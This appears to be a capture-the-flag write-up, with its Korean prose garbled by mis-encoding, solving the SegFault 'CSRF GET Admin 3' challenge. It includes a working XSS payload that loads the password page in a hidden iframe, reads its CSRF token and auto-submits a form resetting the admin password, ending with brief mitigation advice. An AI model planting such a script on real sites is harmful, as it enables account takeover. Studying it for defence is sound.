[SegFault] (CSRF) - GET Admin 3
[SegFault] (CSRF)
GET Admin 3
admin ๊ณ์ ์ ํ์ทจํด ๋ก๊ทธ์ธํ๋ฉด, flag๋ฅผ ํ๋ํ ์ ์์ต๋๋ค.
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ CSRF ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ํ๋ ๋น๋ฐ๋ฒํธ๋ก ๋ณ๊ฒฝํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ๊ณ , ๊ด๋ฆฌ์ visit Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ admin ๊ณ์ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ์ฌ ํด๋น ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด flag๊ฐ ๋์ค๋๋ก ์ด๋ฃจ์ด์ ธ์๋ค.
์ฐ์ ์์ ๊ด๋ฆฌ์ visit Bot ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๊ฐ ๋์จ๋ค.
ํ์๊ฐ์ ํ id์ ๋ค์ _amdin์ ๋ถ์ฌ๋ฃ์ id๊ฐ ๊ณต๊ฒฉํ id ์ด๋ค.
ex) gear -> gear_admin
๊ณต๊ฒฉํ ์์ด๋์ CSRF ๊ณต๊ฒฉ ์ ๋ณด๊ฐ ๋ด๊ฒจ์๋ URL์ ์ ๋ ฅํ๋ฉด ํด๋น ์์ด๋์ ๋น๋ฐ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋๊ฒ ๋๋ค.
๋ฌธ์ ๋งํฌ์ ์ ์์ ํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ CSRF ๊ณต๊ฒฉ์ ํ ๊ฒ์ด๋ฏ๋ก ์ฐ์ ๋ง์ดํ์ด์ง์ ๋ค์ด๊ฐ์ ๋น๋ฐ๋ณ๊ฒฝ์ ์ค์ ๋ก ์๋ํด๋ณด๊ณ ๊ทธ ๊ณผ์ ์ ํ์ธํด๋ณธ๋ค.
๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ๊ณผ์ ์ ํ์ธํ๊ธฐ ์ํด ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํด๋ณด๊ณ ์ด๋ฅผ Burp๋ฅผ ํตํด ํ์ธํ๋ค.
์์ ์์ฒญ์ ๋ณด๋ฉด pwํ๋ผ๋ฏธํฐ์ ํจ๊ป csrf_token์ด ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ดํ์ ๊ณผ์ ์ ์ดํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
๋ง์ดํ์ด์ง์์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์์ฒญํ๋ฉด, CSRF Token์ด ๋ฐํ๋๊ณ ์ด์ ๋ํ ์ผ์น ์ฌ๋ถ๋ฅผ ํ์ธํ์ฌ ๋น๋ฐ๋ฒํธ๊ฐ ๋ณ๊ฒฝ๋๊ณ , ๋ฉ์ธํ์ด์ง๋ก ๋์๊ฐ๋ค.
CSRF_Token
CSRF Token์ CSRF ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํ ๋์์ฑ ์ ํ๊ฐ์ง๋ก์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ ํ์ด์ง์ ์ ์ํ ๋ ๋ง๋ค ์๋ก์ด ๋ฐ๊ธ๋๋ ๋๋คํ ๊ฐ์ด๋ค.
CSRF Point (์ธ์ฆ ์ ๋ณด)
์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ณด๋ฉด, CSRF ํ ํฐ์ ์ด์ฉํ์ฌ ์ธ์ฆ์ ์งํํ์ง๋ง, ์ด๊ฒ์ ์ด์ฉ์๊ฐ ์ถ๊ฐ์ ์ผ๋ก ์ ๋ ฅํ๋ ์ธ์ฆ์ ๋ณด๊ฐ ์๋, ํด๋น ํ์ด์ง์ ๋ํ ์ฌ๋ฐ๋ฅธ ์ ๊ทผ ๊ณผ์ ์์ ๋ฐ๊ธ๋๋ ๋๋คํ ํ ํฐ์ ๋ถ๊ณผํ๋ค. ๊ทธ๋ฌ๋ฏ๋ก ์ด๋ ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ค.
XSS Point
XSS๋ฅผ ํ์ฉํ์ง ์๋ CSRF ์ทจ์ฝ์ ์ URL์ ํด๋ฆญํ๋๋ก ์ ๋ํด์ผํ๋ค. ํ์ง๋ง XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ค๋ฉด ์ ๋กํด๋ฆญ์ ๊ตฌํํ ์ ์๋ค.
๊ทธ๋ฌ๋ฏ๋ก ๊ณต์ง์ฌํญ์ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ XSS๊ฐ ๊ฐ๋ฅํ์ง ํ์ธํด๋ณด๊ธฐ ์ํด ์คํฌ๋ฆฝํธ์ ์ํฅ์ ์ค ์ ์๋ ํน์ ๋ฌธ์< ' " >๋ฅผ ์ ๋ ฅํ์ฌ ํ์ธํด๋ณธ๋ค.
์๋ต(Response)์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ๊ธ์ ๋ด์ฉ ๋ถ๋ถ์ ์ ๋ ฅ ๊ฐ์ด ๊ทธ๋๋ก ์ถ๋ ฅ๋๊ณ ์๋ ๊ฒ์ ํ์ธํ์๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
CSRF ํ ํฐ์ ์ฐํํ๋ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์ํ ํ์ด๋ก๋(Payload)๋ฅผ ์์ฑํ๋ค.
ํ์ด๋ก๋(Payload)
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="targetPage" style="display:none"></iframe>
<script>
var targetFrame=document.getElementById('targetPage');
targetFrame.onload=function(){
var domPage=targetFrame.contentDocument;
var csrfToken=domPage.getElementsByName("csrf_token")[0].value;
document.write('<iframe name="stealthFrame" sandbox="allow-scripts" style="display:none"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="tempForm" target="stealthFrame"><input type="hidden" name="pw" value="1234"><input type="hidden" name="csrf_token" value="',csrfToken,'"></form>');
document.getElementById("tempForm").submit();
}
</script>
iframe์์ ๋ง์ดํ์ด์ง์ ์ ์ํ์ฌ ํด๋น ํ์ด์ง์์ ๋ค์ iframe์ ์ด์ฉํ์ฌ ์ ๊ทผํ๋๋ก ํ์ฌ CSRF ํ ํฐ์ ๋ฐํ๋ฐ๊ณ ํด๋น ๊ฐ์ ์ ๋ ฅ์ผ๋ก ๋ฃ์ด์ฃผ๋ ๋ฐฉ์์ ์ด์ฉํ์ฌ ๋ณ๊ฒฝํ๊ณ ์ถ์ ๋น๋ฐ๋ฒํธ๋ก ๋ณ๊ฒฝํ๋ค.
์คํฌ๋ฆฝํธ ์ฝ์
XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ๊ธ์ฐ๊ธฐ ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ํด๋น ํ์ด๋ก๋๋ฅผ ๊ธ์ ๋ด์ฉ์ ์ฝ์ ํ๋ค.
ํด๋น ๊ธ์ ์ ๊ทผํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ด ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ดํ์ ๊ณผ์ ์ ์ดํด๋ณด๋ฉด ๋ง์ดํ์ด์ง์ ์ ๊ทผํ์ฌ, ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์งํํ๋ค.
์ด์ ํด๋น ๊ธ์ ์ ๊ทผํ๋ URL์ ๊ด๋ฆฌ์ visit Bot์ ๋ฃ์ด์ค๋ค.
์ดํ ๋ก๊ทธ์์์ ํ๊ณ ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก์ ๋ก๊ทธ์ธ์ ์๋ํ๋ค.
๊ด๋ฆฌ์ ๊ณ์ ์ ๋ณ๊ฒฝ์ํจ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ๋ ฅํ์ฌ ๋ก๊ทธ์ธํ๋ฉด ์ฑ๊ณต์ ์ผ๋ก ๋ก๊ทธ์ธ๋๊ณ ๋ค์๊ณผ ๊ฐ์ด ์๋ฆผ์ฐฝ์ Flag๊ฐ์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๊ด๋ฆฌ์ ๊ณ์ ์ผ๋ก์ ๋ก๊ทธ์ธ์ ํตํด flag ๊ฐ์ด ํ๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์์ด CSRF ํ ํฐ์ด ์กด์ฌํ์ง๋ง, ์ด์ฉ์๊ฐ ์ ๋ ฅํ๋ ์ถ๊ฐ์ ์ธ ์ธ์ฆ์ ๋ณด ์์ด ๋ณ๊ฒฝ์ด ๊ฐ๋ฅํ์ฌ ๋ฐ์ํ CSRF ์ทจ์ฝ์ ์ด๋ค.
CSRF Token์ ๊ฒฝ์ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ํ์ด์ง๋ก ์ ๊ทผํ๊ธฐ ์ํ ์ด์ ํ์ด์ง, ์ฆ ์ด ๋ฌธ์ ์ ๊ฒฝ์ฐ ๋ง์ดํ์ด์ง์ ํด๋นํ๋ ๋ถ๋ถ์์ ์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ๋ค์ด์ค๋ ๊ฒฝ์ฐ, ๋ฐ๊ธ๋๋ ๋๋คํ ํ ํฐ์ผ๋ก ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ๊ณผ์ ์์ ์ด๋ฅผ ํ์ธํ๊ฒ ๋๋ค.
ํ์ง๋ง ๋ณธ ๋ฌธ์ ์ฒ๋ผ ํ ํฐ์ผ๋ก ์ฒ๋ฆฌํ๋ ๊ฒฝ์ฐ iframe์ 2๋ฒ ์ด์ฉํ์ฌ ์ฐํ๊ฐ ๊ฐ๋ฅํ ๊ฒฝ์ฐ๋ ์๊ธฐ ๋๋ฌธ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ ์์ด์๋ ์ถ๊ฐ์ ์ธ ์ธ์ฆ ์ ์ฐจ๋ฅผ ๊ตฌํํ๋๋ก ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์